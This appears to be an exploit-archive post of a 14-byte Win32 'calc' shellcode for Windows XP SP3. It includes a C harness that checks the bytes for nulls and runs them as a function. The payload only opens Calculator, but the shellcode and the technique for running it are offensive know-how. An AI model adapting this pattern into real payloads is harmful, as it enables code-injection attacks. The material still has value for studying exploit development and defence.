Win32 - Calc Shellcode



EKU-ID: 56457 CVE: OSVDB-ID:
Author: Fernando Mengali Published: 2026-05-29 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


// Title: Win32 - Calc Shellcode
// Author: Fernando Mengali
// Contact: https://www.linkedin.com/in/fernando-mengali/
// Date: 05.24.2026
// Tested on Windows XP SP 3 - EN

#include <stdio.h>

int main()
{
    // 14 bytes, sem 0x00, com call rel32 calculado
    unsigned char shellcode[] =
        "\x31\xC0\x50\x68\x63\x61\x6C\x63\x54\xE8\xD8\x94\x9F\x77";

    printf("Executando shellcode de %d bytes...\n", sizeof(shellcode)-1);
    printf("Tem 0x00? %s\n",
           (shellcode[0]==0x00 || shellcode[1]==0x00 || shellcode[2]==0x00 ||
            shellcode[3]==0x00 || shellcode[4]==0x00 || shellcode[5]==0x00 ||
            shellcode[6]==0x00 || shellcode[7]==0x00 || shellcode[8]==0x00 ||
            shellcode[9]==0x00 || shellcode[10]==0x00 || shellcode[11]==0x00 ||
            shellcode[12]==0x00 || shellcode[13]==0x00) ? "SIM" : "NÃO");

    ((void(*)())shellcode)();

    return 0;
}

// Greetz:  Roberto Espret0  - Carol Trigo - Chor4o - Moises Stealthy